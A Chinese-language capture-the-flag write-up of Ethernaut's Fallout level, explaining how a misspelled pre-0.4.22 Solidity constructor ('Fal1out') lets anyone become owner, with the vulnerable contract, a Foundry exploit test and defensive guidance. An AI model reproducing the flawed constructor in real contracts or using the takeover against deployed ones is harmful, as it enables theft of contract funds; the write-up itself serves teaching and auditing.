🎯 Ethernaut Level 2: Fallout - 构造函数命名漏洞

关卡链接: Ethernaut Level 2 - Fallout
攻击类型: 构造函数命名错误、历史漏洞
难度: ⭐☆☆☆☆

📋 挑战目标

这个关卡考查的是开发者在代码编写中的细心程度:

  1. 获取合约控制权 - 成为合约的 owner
  2. 理解历史漏洞 - 学习 Solidity 早期版本的安全问题

Fallout Challenge

🔍 漏洞分析

合约源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable { // 🚨 注意这里的拼写!
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

漏洞识别

仔细观察合约代码,我们发现一个极其微妙但致命的错误

1
2
3
4
5
6
7
8
9
// 合约名称
contract Fallout {

/* constructor */
function Fal1out() public payable { // ❌ 这里是 "Fal1out" (数字1)
owner = msg.sender; // 而不是 "Fallout" (字母l)
allocations[owner] = msg.value;
}
}

历史背景

Solidity 0.4.22 之前,构造函数的定义方式是:

  • 创建一个与合约名称完全相同的函数
  • 该函数会在合约部署时自动执行一次

但在这个合约中:

  • 合约名称是 Fallout(字母 l)
  • 函数名称是 Fal1out(数字 1)

结果: 这个函数不是构造函数,而是一个普通的公开函数

攻击路径

  1. 识别伪装的构造函数 - 发现 Fal1out() 函数可以被任何人调用
  2. 直接调用函数 - 调用 Fal1out() 成为 owner
  3. 验证权限获取 - 确认已获得合约控制权

💻 Foundry 实现

攻击合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Fallout.sol";

contract FalloutTest is Test {
Fallout public instance;
address public attacker = makeAddr("attacker");

function setUp() public {
// 部署目标合约
instance = new Fallout();

// 给攻击者一些初始资金
vm.deal(attacker, 1 ether);
}

function testFalloutExploit() public {
vm.startPrank(attacker);

console.log("Original owner:", instance.owner());
console.log("Attacker address:", attacker);

// 攻击步骤:直接调用错误命名的"构造函数"
instance.Fal1out{value: 0.001 ether}();

// 验证攻击成功
assertEq(instance.owner(), attacker);
console.log("New owner:", instance.owner());

vm.stopPrank();
}

function testOriginalOwnerIsZero() public view {
// 验证合约部署后没有owner(因为构造函数未执行)
assertEq(instance.owner(), address(0));
}
}

运行测试

1
2
3
4
5
6
# 运行 Fallout 关卡测试
forge test --match-contract FalloutTest -vvv

# 预期输出:
# [PASS] testFalloutExploit()
# [PASS] testOriginalOwnerIsZero()

🛡️ 防御措施

现代 Solidity 解决方案

Solidity 0.4.22 开始,引入了 constructor 关键字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

contract SecureFallout {
address public owner;
mapping (address => uint) allocations;

// ✅ 使用 constructor 关键字
constructor() {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner, "caller is not the owner");
_;
}

// 其他函数...
}

安全最佳实践

  1. 使用现代语法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // ❌ 旧版本(容易出错)
    function ContractName() public {
    // 构造逻辑
    }

    // ✅ 新版本(明确且安全)
    constructor() {
    // 构造逻辑
    }
  2. 代码审计检查清单

    1
    2
    3
    4
    5
    // 检查项目:
    // ✅ 构造函数名称与合约名称是否完全匹配
    // ✅ 是否使用了现代 constructor 语法
    // ✅ 是否有多个类似构造函数的函数
    // ✅ 权限初始化是否正确执行
  3. 编译器警告

    1
    2
    3
    # 现代编译器会对可疑的函数名发出警告
    Warning: Function state mutability can be restricted to pure
    Warning: This function has the same name as the contract

📚 核心知识点

1. Solidity 版本演进

版本 构造函数语法 安全性
< 0.4.22 function ContractName() ❌ 容易拼写错误
>= 0.4.22 constructor() ✅ 明确且安全

2. 常见命名错误

1
2
3
4
5
6
7
contract MyContract {
// ❌ 常见错误类型
function MyContracr() public { } // 拼写错误
function myContract() public { } // 大小写错误
function MyContract_() public { } // 多余字符
function MyContract() public { } // 可能正确,但不推荐
}

3. 代码审计重点

  • 字符相似性检查 - 1 vs l, 0 vs O
  • 大小写敏感性 - Solidity 区分大小写
  • 额外字符检查 - 下划线、空格等
  • 编码问题 - Unicode 字符混用

🔍 实际案例分析

历史上的类似漏洞

  1. Rubixi 智能合约 (2016)

    • 合约从 DynamicPyramid 重命名为 Rubixi
    • 忘记更新构造函数名称
    • 导致任何人都可以成为 owner
  2. 其他类似案例

    • 复制粘贴代码时忘记修改函数名
    • 团队协作中的沟通失误
    • 自动化重构工具的缺陷

漏洞影响评估

  • 直接影响: 完全丧失合约控制权
  • 资金风险: 合约中的所有资金
  • 修复难度: 无法修复,需要重新部署
  • 检测难度: 极低,但容易被忽视

🎯 总结

Fallout 关卡展示了一个看似微不足道但后果严重的漏洞:

  • 细节决定成败 - 一个字符的差异导致完全不同的结果
  • 工具的重要性 - 现代编译器和工具可以避免此类错误
  • 代码审计的价值 - 人工审计能发现工具遗漏的问题
  • 版本升级的必要性 - 使用最新的安全特性

这个案例提醒我们,在智能合约开发中,没有小错误,只有大损失


🔗 相关链接


魔鬼藏在细节中,安全始于每一个字符。 🔍